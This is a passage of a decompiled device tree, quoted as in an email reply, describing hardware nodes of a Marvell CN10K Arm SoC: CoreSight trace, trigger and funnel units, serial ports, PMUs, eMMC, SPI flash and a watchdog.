> remote-endpoint = <0xc1>;
> phandle = <0xc3>;
> };
> };
> };
> };
>
> ete7 {
> clock-names = "apb_pclk";
> clocks = <0x36>;
> cpu = <0x9>;
> compatible = "arm,embedded-trace-extension";
> metadata-region = <0x0 0x0 0x0 0x0>;
> phandle = <0x71>;
>
> out-ports {
>
> port {
>
> endpoint {
> remote-endpoint = <0x6d>;
> phandle = <0x6f>;
> };
> };
> };
> };
>
> ete11 {
> clock-names = "apb_pclk";
> clocks = <0x36>;
> cpu = <0xd>;
> compatible = "arm,embedded-trace-extension";
> metadata-region = <0x0 0x0 0x0 0x0>;
> phandle = <0x89>;
>
> out-ports {
>
> port {
>
> endpoint {
> remote-endpoint = <0x85>;
> phandle = <0x87>;
> };
> };
> };
> };
>
> ap_cti12@87a098010000 {
> clock-names = "apb_pclk";
> clocks = <0x36>;
> cpu = <0xe>;
> arm,cs-dev-assoc = <0x8f>;
> compatible = "arm,coresight-cti-v8-arch", "arm,coresight-cti", "arm,primecell";
> reg = <0x87a0 0x98010000 0x0 0x1000>;
> };
>
> pmpcsr13@87a09b020000 {
> clock-names = "apb_pclk";
> clocks = <0x36>;
> cpu = <0xf>;
> compatible = "arm,primecell";
> reg = <0x87a0 0x9b020000 0x0 0x1000>;
> };
>
> etf9@87a004910000 {
> clock-names = "apb_pclk";
> memory-region = <0x7a>;
> clocks = <0x36>;
> cpu = <0xb>;
> compatible = "arm,coresight-tmc", "arm,primecell";
> metadata-region = <0x0 0x0 0x0 0x0>;
> reg = <0x87a0 0x4910000 0x0 0x1000>;
> phandle = <0x7e>;
>
> in-ports {
>
> port {
>
> endpoint {
> slave-mode;
> remote-endpoint = <0x7b>;
> phandle = <0x79>;
> };
> };
> };
>
> out-ports {
>
> port {
>
> endpoint {
> remote-endpoint = <0x7c>;
> phandle = <0xdd>;
> };
> };
> };
> };
>
> pmpcsr9@87a093020000 {
> clock-names = "apb_pclk";
> clocks = <0x36>;
> cpu = <0xb>;
> compatible = "arm,primecell";
> reg = <0x87a0 0x93020000 0x0 0x1000>;
> };
>
> ap_cti1@87a082010000 {
> clock-names = "apb_pclk";
> clocks = <0x36>;
> cpu = <0x3>;
> arm,cs-dev-assoc = <0x4d>;
> compatible = "arm,coresight-cti-v8-arch", "arm,coresight-cti", "arm,primecell";
> reg = <0x87a0 0x82010000 0x0 0x1000>;
> };
>
> etf_cti4@87a004420000 {
> #address-cells = <0x1>;
> clock-names = "apb_pclk";
> clocks = <0x36>;
> #size-cells = <0x0>;
> compatible = "arm,coresight-cti", "arm,primecell";
> reg = <0x87a0 0x4420000 0x0 0x1000>;
>
> trig-conns@0 {
> arm,trig-out-sigs = <0x0 0x1>;
> arm,trig-in-types = <0xe 0xd 0xc>;
> arm,cs-dev-assoc = <0x60>;
> arm,trig-in-sigs = <0x0 0x1 0x2>;
> arm,trig-out-types = <0x10 0xf>;
> reg = <0x0>;
> };
> };
>
> smmupmcg2@830000140000 {
> compatible = "cavium,smmu-pmu-v3", "arm,smmu-pmu-v3", "arm,smmu-v3-pmcg";
> reg = <0x8300 0x140000 0x0 0x1000 0x8300 0x150000 0x0 0x1000>;
> msi-parent = <0x37 0x1b>;
> };
>
> serial@87e02a000000 {
> clock-names = "apb_pclk";
> interrupts = <0x0 0x2 0x4>;
> clocks = <0x34>;
> skip-init;
> compatible = "arm,pl011", "arm,primecell";
> reg = <0x87e0 0x2a000000 0x0 0x1000>;
> phandle = <0x134>;
> };
>
> ete5 {
> clock-names = "apb_pclk";
> clocks = <0x36>;
> cpu = <0x7>;
> compatible = "arm,embedded-trace-extension";
> metadata-region = <0x0 0x0 0x0 0x0>;
> phandle = <0x65>;
>
> out-ports {
>
> port {
>
> endpoint {
> remote-endpoint = <0x61>;
> phandle = <0x63>;
> };
> };
> };
> };
>
> etf11@87a004b10000 {
> clock-names = "apb_pclk";
> memory-region = <0x86>;
> clocks = <0x36>;
> cpu = <0xd>;
> compatible = "arm,coresight-tmc", "arm,primecell";
> metadata-region = <0x0 0x0 0x0 0x0>;
> reg = <0x87a0 0x4b10000 0x0 0x1000>;
> phandle = <0x8a>;
>
> in-ports {
>
> port {
>
> endpoint {
> slave-mode;
> remote-endpoint = <0x87>;
> phandle = <0x85>;
> };
> };
> };
>
> out-ports {
>
> port {
>
> endpoint {
> remote-endpoint = <0x88>;
> phandle = <0xdf>;
> };
> };
> };
> };
>
> ap_cti6@87a08c010000 {
> clock-names = "apb_pclk";
> clocks = <0x36>;
> cpu = <0x8>;
> arm,cs-dev-assoc = <0x6b>;
> compatible = "arm,coresight-cti-v8-arch", "arm,coresight-cti", "arm,primecell";
> reg = <0x87a0 0x8c010000 0x0 0x1000>;
> };
>
> pmpcsr16@87a0a1020000 {
> clock-names = "apb_pclk";
> clocks = <0x36>;
> cpu = <0x12>;
> compatible = "arm,primecell";
> reg = <0x87a0 0xa1020000 0x0 0x1000>;
> };
>
> ddrcpmu5 {
> marvell,ddr-speed = <0xc80>;
> compatible = "marvell,cn10k-ddr-pmu";
> reg = <0x87e1 0xc5000000 0x0 0x10000>;
> };
>
> etf_cti10@87a004a20000 {
> #address-cells = <0x1>;
> clock-names = "apb_pclk";
> clocks = <0x36>;
> #size-cells = <0x0>;
> compatible = "arm,coresight-cti", "arm,primecell";
> reg = <0x87a0 0x4a20000 0x0 0x1000>;
>
> trig-conns@0 {
> arm,trig-out-sigs = <0x0 0x1>;
> arm,trig-in-types = <0xe 0xd 0xc>;
> arm,cs-dev-assoc = <0x84>;
> arm,trig-in-sigs = <0x0 0x1 0x2>;
> arm,trig-out-types = <0x10 0xf>;
> reg = <0x0>;
> };
> };
>
> pmpcsr4@87a089020000 {
> clock-names = "apb_pclk";
> clocks = <0x36>;
> cpu = <0x6>;
> compatible = "arm,primecell";
> reg = <0x87a0 0x89020000 0x0 0x1000>;
> };
>
> serial@87e029000000 {
> clock-names = "apb_pclk";
> interrupts = <0x0 0x1 0x4>;
> clocks = <0x34>;
> skip-init;
> compatible = "arm,pl011", "arm,primecell";
> reg = <0x87e0 0x29000000 0x0 0x1000>;
> phandle = <0x133>;
> };
>
> etf3@87a004310000 {
> clock-names = "apb_pclk";
> memory-region = <0x56>;
> clocks = <0x36>;
> cpu = <0x5>;
> compatible = "arm,coresight-tmc", "arm,primecell";
> metadata-region = <0x0 0x0 0x0 0x0>;
> reg = <0x87a0 0x4310000 0x0 0x1000>;
> phandle = <0x5a>;
>
> in-ports {
>
> port {
>
> endpoint {
> slave-mode;
> remote-endpoint = <0x57>;
> phandle = <0x55>;
> };
> };
> };
>
> out-ports {
>
> port {
>
> endpoint {
> remote-endpoint = <0x58>;
> phandle = <0xd7>;
> };
> };
> };
> };
>
> pcie-ep@0 {
> interrupts = <0x0 0x5b 0x1 0x0 0x1f8 0x1 0x0 0x1f9 0x1 0x0 0x1fa 0x1 0x0 0x1fb 0x1 0x0 0x1fc 0x1 0x0 0x1fd 0x1 0x0 0x1fe 0x1 0x0 0x1ff 0x1>;
> compatible = "marvell,cn10k-pem-ep";
> reg = <0x8e00 0x0 0x10 0x0>;
> };
>
> etf20@87a005410000 {
> clock-names = "apb_pclk";
> memory-region = <0xbc>;
> clocks = <0x36>;
> cpu = <0x16>;
> compatible = "arm,coresight-tmc", "arm,primecell";
> metadata-region = <0x0 0x0 0x0 0x0>;
> reg = <0x87a0 0x5410000 0x0 0x1000>;
> phandle = <0xc0>;
>
> in-ports {
>
> port {
>
> endpoint {
> slave-mode;
> remote-endpoint = <0xbd>;
> phandle = <0xbb>;
> };
> };
> };
>
> out-ports {
>
> port {
>
> endpoint {
> remote-endpoint = <0xbe>;
> phandle = <0xe8>;
> };
> };
> };
> };
>
> pmpcsr23@87a0af020000 {
> clock-names = "apb_pclk";
> clocks = <0x36>;
> cpu = <0x19>;
> compatible = "arm,primecell";
> reg = <0x87a0 0xaf020000 0x0 0x1000>;
> };
>
> ete18 {
> clock-names = "apb_pclk";
> clocks = <0x36>;
> cpu = <0x14>;
> compatible = "arm,embedded-trace-extension";
> metadata-region = <0x0 0x0 0x0 0x0>;
> phandle = <0xb3>;
>
> out-ports {
>
> port {
>
> endpoint {
> remote-endpoint = <0xaf>;
> phandle = <0xb1>;
> };
> };
> };
> };
>
> ap_cti11@87a096010000 {
> clock-names = "apb_pclk";
> clocks = <0x36>;
> cpu = <0xd>;
> arm,cs-dev-assoc = <0x89>;
> compatible = "arm,coresight-cti-v8-arch", "arm,coresight-cti", "arm,primecell";
> reg = <0x87a0 0x96010000 0x0 0x1000>;
> };
>
> dpi_sdp_regs@86e000000000 {
> iommus = <0x39 0x39>;
> compatible = "marvell,dpi-sdp-regs";
> reg = <0x86e0 0x0 0x2 0x100f0000>;
> };
>
> ete3 {
> clock-names = "apb_pclk";
> clocks = <0x36>;
> cpu = <0x5>;
> compatible = "arm,embedded-trace-extension";
> metadata-region = <0x0 0x0 0x0 0x0>;
> phandle = <0x59>;
>
> out-ports {
>
> port {
>
> endpoint {
> remote-endpoint = <0x55>;
> phandle = <0x57>;
> };
> };
> };
> };
>
> serial@87e02e000000 {
> clock-names = "apb_pclk";
> interrupts = <0x0 0x6 0x4>;
> clocks = <0x34>;
> skip-init;
> compatible = "arm,pl011", "arm,primecell";
> reg = <0x87e0 0x2e000000 0x0 0x1000>;
> phandle = <0x138>;
> };
>
> pmpcsr8@87a091020000 {
> clock-names = "apb_pclk";
> clocks = <0x36>;
> cpu = <0xa>;
> compatible = "arm,primecell";
> reg = <0x87a0 0x91020000 0x0 0x1000>;
> };
>
> ddrcpmu3 {
> marvell,ddr-speed = <0xc80>;
> compatible = "marvell,cn10k-ddr-pmu";
> reg = <0x87e1 0xc3000000 0x0 0x10000>;
> };
>
> ap_cti0@87a080010000 {
> clock-names = "apb_pclk";
> clocks = <0x36>;
> cpu = <0x2>;
> arm,cs-dev-assoc = <0x47>;
> compatible = "arm,coresight-cti-v8-arch", "arm,coresight-cti", "arm,primecell";
> reg = <0x87a0 0x80010000 0x0 0x1000>;
> };
>
> ap_cti5@87a08a010000 {
> clock-names = "apb_pclk";
> clocks = <0x36>;
> cpu = <0x7>;
> arm,cs-dev-assoc = <0x65>;
> compatible = "arm,coresight-cti-v8-arch", "arm,coresight-cti", "arm,primecell";
> reg = <0x87a0 0x8a010000 0x0 0x1000>;
> };
>
> sdhci@824000000000 {
> iommus = <0x39 0x58>;
> cdns,iocell_output_delay = <0x708>;
> mmc-hs400-enhanced-strobe;
> #address-cells = <0x2>;
> dma-coherent;
> clock-names = "sdmclk";
> vqmmc-supply = <0x3b>;
> mmc-hs200-1_8v;
> bus-width = <0x8>;
> non-removable;
> no-sdio;
> mmc-hs400-1_8v;
> interrupts = <0x0 0x41 0x1>;
> clocks = <0x38>;
> #size-cells = <0x2>;
> vmmc-supply = <0x3a>;
> cdns,mode = "emmc_sdr";
> cdns,iocell_input_delay = <0x28a>;
> no-sd;
> compatible = "cdns,sd6hc";
> sdhci-caps-mask = <0xff0000 0x0>;
> sdhci-caps = <0x80000077 0x1f6ec8a0>;
> reg = <0x8240 0x0 0x0 0xa000000>;
> phandle = <0xfb>;
> max-frequency = <0xbebc200>;
> cap-mmc-highspeed;
> };
>
> etf16@87a005010000 {
> clock-names = "apb_pclk";
> memory-region = <0xa4>;
> clocks = <0x36>;
> cpu = <0x12>;
> compatible = "arm,coresight-tmc", "arm,primecell";
> metadata-region = <0x0 0x0 0x0 0x0>;
> reg = <0x87a0 0x5010000 0x0 0x1000>;
> phandle = <0xa8>;
>
> in-ports {
>
> port {
>
> endpoint {
> slave-mode;
> remote-endpoint = <0xa5>;
> phandle = <0xa3>;
> };
> };
> };
>
> out-ports {
>
> port {
>
> endpoint {
> remote-endpoint = <0xa6>;
> phandle = <0xe4>;
> };
> };
> };
> };
>
> etf_cti5@87a004520000 {
> #address-cells = <0x1>;
> clock-names = "apb_pclk";
> clocks = <0x36>;
> #size-cells = <0x0>;
> compatible = "arm,coresight-cti", "arm,primecell";
> reg = <0x87a0 0x4520000 0x0 0x1000>;
>
> trig-conns@0 {
> arm,trig-out-sigs = <0x0 0x1>;
> arm,trig-in-types = <0xe 0xd 0xc>;
> arm,cs-dev-assoc = <0x66>;
> arm,trig-in-sigs = <0x0 0x1 0x2>;
> arm,trig-out-types = <0x10 0xf>;
> reg = <0x0>;
> };
> };
>
> ap_cti19@87a0a6010000 {
> clock-names = "apb_pclk";
> clocks = <0x36>;
> cpu = <0x15>;
> arm,cs-dev-assoc = <0xb9>;
> compatible = "arm,coresight-cti-v8-arch", "arm,coresight-cti", "arm,primecell";
> reg = <0x87a0 0xa6010000 0x0 0x1000>;
> };
>
> smmupmcg1@830000120000 {
> compatible = "cavium,smmu-pmu-v3", "arm,smmu-pmu-v3", "arm,smmu-v3-pmcg";
> reg = <0x8300 0x120000 0x0 0x1000 0x8300 0x130000 0x0 0x1000>;
> msi-parent = <0x37 0x1a>;
> };
>
> pmpcsr3@87a087020000 {
> clock-names = "apb_pclk";
> clocks = <0x36>;
> cpu = <0x5>;
> compatible = "arm,primecell";
> reg = <0x87a0 0x87020000 0x0 0x1000>;
> };
>
> etf12@87a004c10000 {
> clock-names = "apb_pclk";
> memory-region = <0x8c>;
> clocks = <0x36>;
> cpu = <0xe>;
> compatible = "arm,coresight-tmc", "arm,primecell";
> metadata-region = <0x0 0x0 0x0 0x0>;
> reg = <0x87a0 0x4c10000 0x0 0x1000>;
> phandle = <0x90>;
>
> in-ports {
>
> port {
>
> endpoint {
> slave-mode;
> remote-endpoint = <0x8d>;
> phandle = <0x8b>;
> };
> };
> };
>
> out-ports {
>
> port {
>
> endpoint {
> remote-endpoint = <0x8e>;
> phandle = <0xe0>;
> };
> };
> };
> };
>
> ete16 {
> clock-names = "apb_pclk";
> clocks = <0x36>;
> cpu = <0x12>;
> compatible = "arm,embedded-trace-extension";
> metadata-region = <0x0 0x0 0x0 0x0>;
> phandle = <0xa7>;
>
> out-ports {
>
> port {
>
> endpoint {
> remote-endpoint = <0xa3>;
> phandle = <0xa5>;
> };
> };
> };
> };
>
> etf_cti11@87a004b20000 {
> #address-cells = <0x1>;
> clock-names = "apb_pclk";
> clocks = <0x36>;
> #size-cells = <0x0>;
> compatible = "arm,coresight-cti", "arm,primecell";
> reg = <0x87a0 0x4b20000 0x0 0x1000>;
>
> trig-conns@0 {
> arm,trig-out-sigs = <0x0 0x1>;
> arm,trig-in-types = <0xe 0xd 0xc>;
> arm,cs-dev-assoc = <0x8a>;
> arm,trig-in-sigs = <0x0 0x1 0x2>;
> arm,trig-out-types = <0x10 0xf>;
> reg = <0x0>;
> };
> };
>
> etf4@87a004410000 {
> clock-names = "apb_pclk";
> memory-region = <0x5c>;
> clocks = <0x36>;
> cpu = <0x6>;
> compatible = "arm,coresight-tmc", "arm,primecell";
> metadata-region = <0x0 0x0 0x0 0x0>;
> reg = <0x87a0 0x4410000 0x0 0x1000>;
> phandle = <0x60>;
>
> in-ports {
>
> port {
>
> endpoint {
> slave-mode;
> remote-endpoint = <0x5d>;
> phandle = <0x5b>;
> };
> };
> };
>
> out-ports {
>
> port {
>
> endpoint {
> remote-endpoint = <0x5e>;
> phandle = <0xd8>;
> };
> };
> };
> };
>
> ete1 {
> clock-names = "apb_pclk";
> clocks = <0x36>;
> cpu = <0x3>;
> compatible = "arm,embedded-trace-extension";
> metadata-region = <0x0 0x0 0x0 0x0>;
> phandle = <0x4d>;
>
> out-ports {
>
> port {
>
> endpoint {
> remote-endpoint = <0x49>;
> phandle = <0x4b>;
> };
> };
> };
> };
>
> pmpcsr22@87a0ad020000 {
> clock-names = "apb_pclk";
> clocks = <0x36>;
> cpu = <0x18>;
> compatible = "arm,primecell";
> reg = <0x87a0 0xad020000 0x0 0x1000>;
> };
>
> ddrcpmu1 {
> marvell,ddr-speed = <0xc80>;
> compatible = "marvell,cn10k-ddr-pmu";
> reg = <0x87e1 0xc1000000 0x0 0x10000>;
> };
>
> ap_cti10@87a094010000 {
> clock-names = "apb_pclk";
> clocks = <0x36>;
> cpu = <0xc>;
> arm,cs-dev-assoc = <0x83>;
> compatible = "arm,coresight-cti-v8-arch", "arm,coresight-cti", "arm,primecell";
> reg = <0x87a0 0x94010000 0x0 0x1000>;
> };
>
> etf21@87a005510000 {
> clock-names = "apb_pclk";
> memory-region = <0xc2>;
> clocks = <0x36>;
> cpu = <0x17>;
> compatible = "arm,coresight-tmc", "arm,primecell";
> metadata-region = <0x0 0x0 0x0 0x0>;
> reg = <0x87a0 0x5510000 0x0 0x1000>;
> phandle = <0xc6>;
>
> in-ports {
>
> port {
>
> endpoint {
> slave-mode;
> remote-endpoint = <0xc3>;
> phandle = <0xc1>;
> };
> };
> };
>
> out-ports {
>
> port {
>
> endpoint {
> remote-endpoint = <0xc4>;
> phandle = <0xe9>;
> };
> };
> };
> };
>
> ap_cti15@87a09e010000 {
> clock-names = "apb_pclk";
> clocks = <0x36>;
> cpu = <0x11>;
> arm,cs-dev-assoc = <0xa1>;
> compatible = "arm,coresight-cti-v8-arch", "arm,coresight-cti", "arm,primecell";
> reg = <0x87a0 0x9e010000 0x0 0x1000>;
> };
>
> pci-bootcmd@0x027ff000 {
> skip-init;
> compatible = "marvell,pci-bootcmd";
> reg = <0x0 0x27ff000 0x0 0x1000>;
> phandle = <0xfa>;
> };
>
> watchdog@802000040000 {
> clock-names = "ref_clk";
> interrupts = <0x0 0x80 0x1>;
> clocks = <0x36>;
> compatible = "marvell,cn10624-wdt";
> reg = <0x8020 0x40000 0x0 0x20000>;
> marvell,wdt-timer-index = <0x3f>;
> };
>
> etf_cti20@87a005420000 {
> #address-cells = <0x1>;
> clock-names = "apb_pclk";
> clocks = <0x36>;
> #size-cells = <0x0>;
> compatible = "arm,coresight-cti", "arm,primecell";
> reg = <0x87a0 0x5420000 0x0 0x1000>;
>
> trig-conns@0 {
> arm,trig-out-sigs = <0x0 0x1>;
> arm,trig-in-types = <0xe 0xd 0xc>;
> arm,cs-dev-assoc = <0xc0>;
> arm,trig-in-sigs = <0x0 0x1 0x2>;
> arm,trig-out-types = <0x10 0xf>;
> reg = <0x0>;
> };
> };
>
> spi@804000000000 {
> iommus = <0x39 0x30>;
> #address-cells = <0x2>;
> dma-coherent;
> reg-names = "io", "sdma", "aux", "xfer";
> interrupts = <0x0 0x5a 0x1>;
> #size-cells = <0x2>;
> compatible = "cdns,xspi-nor";
> reg = <0x8040 0x0 0x0 0x1040 0x8040 0x10000000 0x0 0x1000 0x8040 0x2000 0x0 0x2300 0x8040 0x8000 0x0 0x240>;
> phandle = <0xfc>;
> cdns,read-size = <0x1>;
>
> flash@0 {
> #address-cells = <0x1>;
> spi-tx-bus-width = <0x4>;
> #size-cells = <0x1>;
> spi-max-frequency = <0x17d7840>;
> spi-rx-bus-width = <0x4>;
> compatible = "jedec,spi-nor", "spi-flash";
> reg = <0x0>;
> phandle = <0xfd>;
> };
> };
>
> sdmclk {
> clock-output-names = "sdmclk";
> #clock-cells = <0x0>;
> clock-frequency = <0xbebc200>;
> compatible = "fixed-clock";
> phandle = <0x38>;
> };
>
> serial@87e02b000000 {
> clock-names = "apb_pclk";
> interrupts = <0x0 0x3 0x4>;
> clocks = <0x34>;
> skip-init;
> compatible = "arm,pl011", "arm,primecell";
> reg = <0x87e0 0x2b000000 0x0 0x1000>;
> phandle = <0x135>;
> };
>
> ete14 {
> clock-names = "apb_pclk";
> clocks = <0x36>;
> cpu = <0x10>;
> compatible = "arm,embedded-trace-extension";
> metadata-region = <0x0 0x0 0x0 0x0>;
> phandle = <0x9b>;
>
> out-ports {
>
> port {
>
> endpoint {
> remote-endpoint = <0x97>;
> phandle = <0x99>;
> };
> };
> };
> };
>
> ap_cti18@87a0a4010000 {
> clock-names = "apb_pclk";
> clocks = <0x36>;
> cpu = <0x14>;
> arm,cs-dev-assoc = <0xb3>;
> compatible = "arm,coresight-cti-v8-arch", "arm,coresight-cti", "arm,primecell";
> reg = <0x87a0 0xa4010000 0x0 0x1000>;
> };
>
> pmpcsr2@87a085020000 {
> clock-names = "apb_pclk";
> clocks = <0x36>;
> cpu = <0x4>;
> compatible = "arm,primecell";
> reg = <0x87a0 0x85020000 0x0 0x1000>;
> };
>
> etf17@87a005110000 {
> clock-names = "apb_pclk";
> memory-region = <0xaa>;
> clocks = <0x36>;
> cpu = <0x13>;
> compatible = "arm,coresight-tmc", "arm,primecell";
> metadata-region = <0x0 0x0 0x0 0x0>;
> reg = <0x87a0 0x5110000 0x0 0x1000>;
> phandle = <0xae>;
>
> in-ports {
>
> port {
>
> endpoint {
> slave-mode;
> remote-endpoint = <0xab>;
> phandle = <0xa9>;
> };
> };
> };
>
> out-ports {
>
> port {
>
> endpoint {
> remote-endpoint = <0xac>;
> phandle = <0xe5>;
> };
> };
> };
> };
>
> etf_cti6@87a004620000 {
> #address-cells = <0x1>;
> clock-names = "apb_pclk";
> clocks = <0x36>;
> #size-cells = <0x0>;
> compatible = "arm,coresight-cti", "arm,primecell";
> reg = <0x87a0 0x4620000 0x0 0x1000>;
>
> trig-conns@0 {
> arm,trig-out-sigs = <0x0 0x1>;
> arm,trig-in-types = <0xe 0xd 0xc>;
> arm,cs-dev-assoc = <0x6c>;
> arm,trig-in-sigs = <0x0 0x1 0x2>;
> arm,trig-out-types = <0x10 0xf>;
> reg = <0x0>;
> };
> };
>
> pem0-bar4-mem@00000009f7c00000 {
> iommus = <0x39 0x41>;
> memory-region = <0x40>;
> compatible = "marvell,cn10k-pem0-bar4-mem";
> reg = <0x9 0xf7c00000 0x0 0x4000000>;
> };
>
> pmpcsr7@87a08f020000 {
> clock-names = "apb_pclk";
> clocks = <0x36>;
> cpu = <0x9>;
> compatible = "arm,primecell";
> reg = <0x87a0 0x8f020000 0x0 0x1000>;
> };
>
> etf13@87a004d10000 {
> clock-names = "apb_pclk";
> memory-region = <0x92>;
> clocks = <0x36>;
> cpu = <0xf>;
> compatible = "arm,coresight-tmc", "arm,primecell";
> metadata-region = <0x0 0x0 0x0 0x0>;
> reg = <0x87a0 0x4d10000 0x0 0x1000>;
> phandle = <0x96>;
>
> in-ports {
>
> port {
>
> endpoint {
> slave-mode;
> remote-endpoint = <0x93>;
> phandle = <0x91>;
> };
> };
> };
>
> out-ports {
>
> port {
>
> endpoint {
> remote-endpoint = <0x94>;
> phandle = <0xe1>;
> };
> };
> };
> };
>
> etf_cti16@87a005020000 {
> #address-cells = <0x1>;
> clock-names = "apb_pclk";
> clocks = <0x36>;
> #size-cells = <0x0>;
> compatible = "arm,coresight-cti", "arm,primecell";
> reg = <0x87a0 0x5020000 0x0 0x1000>;
>
> trig-conns@0 {
> arm,trig-out-sigs = <0x0 0x1>;
> arm,trig-in-types = <0xe 0xd 0xc>;
> arm,cs-dev-assoc = <0xa8>;
> arm,trig-in-sigs = <0x0 0x1 0x2>;
> arm,trig-out-types = <0x10 0xf>;
> reg = <0x0>;
> };
> };
>
> ap_cti20@87a0a8010000 {
> clock-names = "apb_pclk";
> clocks = <0x36>;
> cpu = <0x16>;
> arm,cs-dev-assoc = <0xbf>;
> compatible = "arm,coresight-cti-v8-arch", "arm,coresight-cti", "arm,primecell";
> reg = <0x87a0 0xa8010000 0x0 0x1000>;
> };
>
> sh_etr@87a100060000 {
> iommus = <0x39 0x50>;
> clock-names = "apb_pclk";
> memory-region = <0xee>;
> clocks = <0x36>;
> arm,max-burst-size = <0x7>;
> compatible = "arm,coresight-tmc", "arm,primecell";
> metadata-region = <0x0 0x0 0x0 0x0>;
> reg = <0x87a1 0x60000 0x0 0x1000>;
> phandle = <0xf0>;
>
> in-ports {
>
> port {
>
> endpoint {
> remote-endpoint = <0xef>;
> phandle = <0xed>;
> };
> };
> };
> };
>
> smmupmcg0@830000100000 {
> compatible = "cavium,smmu-pmu-v3", "arm,smmu-pmu-v3", "arm,smmu-v3-pmcg";
> reg = <0x8300 0x100000 0x0 0x1000 0x8300 0x110000 0x0 0x1000>;
> msi-parent = <0x37 0x19>;
> };
>
> etf_cti12@87a004c20000 {
> #address-cells = <0x1>;
> clock-names = "apb_pclk";
> clocks = <0x36>;
> #size-cells = <0x0>;
> compatible = "arm,coresight-cti", "arm,primecell";
> reg = <0x87a0 0x4c20000 0x0 0x1000>;
>
> trig-conns@0 {
> arm,trig-out-sigs = <0x0 0x1>;
> arm,trig-in-types = <0xe 0xd 0xc>;
> arm,cs-dev-assoc = <0x90>;
> arm,trig-in-sigs = <0x0 0x1 0x2>;
> arm,trig-out-types = <0x10 0xf>;
> reg = <0x0>;
> };
> };
>
> ete22 {
> clock-names = "apb_pclk";
> clocks = <0x36>;
> cpu = <0x18>;
> compatible = "arm,embedded-trace-extension";
> metadata-region = <0x0 0x0 0x0 0x0>;
> phandle = <0xcb>;
>
> out-ports {
>
> port {
>
> endpoint {
> remote-endpoint = <0xc7>;
> phandle = <0xc9>;
> };
> };
> };
> };
>
> pmpcsr21@87a0ab020000 {
> clock-names = "apb_pclk";
> clocks = <0x36>;
> cpu = <0x17>;
> compatible = "arm,primecell";
> reg = <0x87a0 0xab020000 0x0 0x1000>;
> };
>
> etf5@87a004510000 {
> clock-names = "apb_pclk";
> memory-region = <0x62>;
> clocks = <0x36>;
> cpu = <0x7>;
> compatible = "arm,coresight-tmc", "arm,primecell";
> metadata-region = <0x0 0x0 0x0 0x0>;
> reg = <0x87a0 0x4510000 0x0 0x1000>;
> phandle = <0x66>;
>
> in-ports {
>
> port {
>
> endpoint {
> slave-mode;
> remote-endpoint = <0x63>;
> phandle = <0x61>;
> };
> };
> };
>
> out-ports {
>
> port {
>
> endpoint {
> remote-endpoint = <0x64>;
> phandle = <0xd9>;
> };
> };
> };
> };
>
> ete8 {
> clock-names = "apb_pclk";
> clocks = <0x36>;
> cpu = <0xa>;
> compatible = "arm,embedded-trace-extension";
> metadata-region = <0x0 0x0 0x0 0x0>;
> phandle = <0x77>;
>
> out-ports {
>
> port {
>
> endpoint {
> remote-endpoint = <0x73>;
> phandle = <0x75>;
> };
> };
> };
> };
>
> etf_cti0@87a004020000 {
> #address-cells = <0x1>;
> clock-names = "apb_pclk";
> clocks = <0x36>;
> #size-cells = <0x0>;
> compatible = "arm,coresight-cti", "arm,primecell";
> reg = <0x87a0 0x4020000 0x0 0x1000>;
>
> trig-conns@0 {
> arm,trig-out-sigs = <0x0 0x1>;
> arm,trig-in-types = <0xe 0xd 0xc>;
> arm,cs-dev-assoc = <0x48>;
> arm,trig-in-sigs = <0x0 0x1 0x2>;
> arm,trig-out-types = <0x10 0xf>;
> reg = <0x0>;
> };
> };
>
> ap_cti14@87a09c010000 {
> clock-names = "apb_pclk";
> clocks = <0x36>;
> cpu = <0x10>;
> arm,cs-dev-assoc = <0x9b>;
> compatible = "arm,coresight-cti-v8-arch", "arm,coresight-cti", "arm,primecell";
> reg = <0x87a0 0x9c010000 0x0 0x1000>;
> };
>
> ete12 {
> clock-names = "apb_pclk";
> clocks = <0x36>;
> cpu = <0xe>;
> compatible = "arm,embedded-trace-extension";
> metadata-region = <0x0 0x0 0x0 0x0>;
> phandle = <0x8f>;
>
> out-ports {
>
> port {
>
> endpoint {
> remote-endpoint = <0x8b>;
> phandle = <0x8d>;
> };
> };
> };
> };
>
> serial@87e02f000000 {
> clock-names = "apb_pclk";
> interrupts = <0x0 0x7 0x4>;
> clocks = <0x34>;
> skip-init;
> compatible = "arm,pl011", "arm,primecell";
> reg = <0x87e0 0x2f000000 0x0 0x1000>;
> phandle = <0x139>;
> };
>
> etf22@87a005610000 {
> clock-names = "apb_pclk";
> memory-region = <0xc8>;
> clocks = <0x36>;
> cpu = <0x18>;
> compatible = "arm,coresight-tmc", "arm,primecell";
> metadata-region = <0x0 0x0 0x0 0x0>;
> reg = <0x87a0 0x5610000 0x0 0x1000>;
> phandle = <0xcc>;
>
> in-ports {
>
> port {
>
> endpoint {
> slave-mode;
> remote-endpoint = <0xc9>;
> phandle = <0xc7>;
> };
> };
> };
>
> out-ports {
>
> port {
>
> endpoint {
> remote-endpoint = <0xca>;
> phandle = <0xea>;
> };
> };
> };
> };
>
> etf_cti21@87a005520000 {
> #address-cells = <0x1>;
> clock-names = "apb_pclk";
> clocks = <0x36>;
> #size-cells = <0x0>;
> compatible = "arm,coresight-cti", "arm,primecell";
> reg = <0x87a0 0x5520000 0x0 0x1000>;
>
> trig-conns@0 {
> arm,trig-out-sigs = <0x0 0x1>;
> arm,trig-in-types = <0xe 0xd 0xc>;
> arm,cs-dev-assoc = <0xc6>;
> arm,trig-in-sigs = <0x0 0x1 0x2>;
> arm,trig-out-types = <0x10 0xf>;
> reg = <0x0>;
> };
> };
>
> ap_cti17@87a0a2010000 {
> clock-names = "apb_pclk";
> clocks = <0x36>;
> cpu = <0x13>;
> arm,cs-dev-assoc = <0xad>;
> compatible = "arm,coresight-cti-v8-arch", "arm,coresight-cti", "arm,primecell";
> reg = <0x87a0 0xa2010000 0x0 0x1000>;
> };
>
> pmpcsr12@87a099020000 {
> clock-names = "apb_pclk";
> clocks = <0x36>;
> cpu = <0xe>;
> compatible = "arm,primecell";
> reg = <0x87a0 0x99020000 0x0 0x1000>;
> };
>
> sram@36,0 {
> #address-cells = <0x2>;
> #size-cells = <0x1>;
> compatible = "cpc-shmem";
> ranges = <0x0 0x0 0x86d0 0xfc200 0x200>;
> reg = <0x86d0 0xfc200 0x0 0x200>;
>
> scp-shmem@0 {
> compatible = "cpc-shmem";
> reg = <0x0 0x0 0x200>;
> phandle = <0x3f>;
> };
> };
>
> pmpcsr1@87a083020000 {
> clock-names = "apb_pclk";
> clocks = <0x36>;
> cpu = <0x3>;
> compatible = "arm,primecell";
> reg = <0x87a0 0x83020000 0x0 0x1000>;
> };
>
> ete20 {
> clock-names = "apb_pclk";
> clocks = <0x36>;
> cpu = <0x16>;
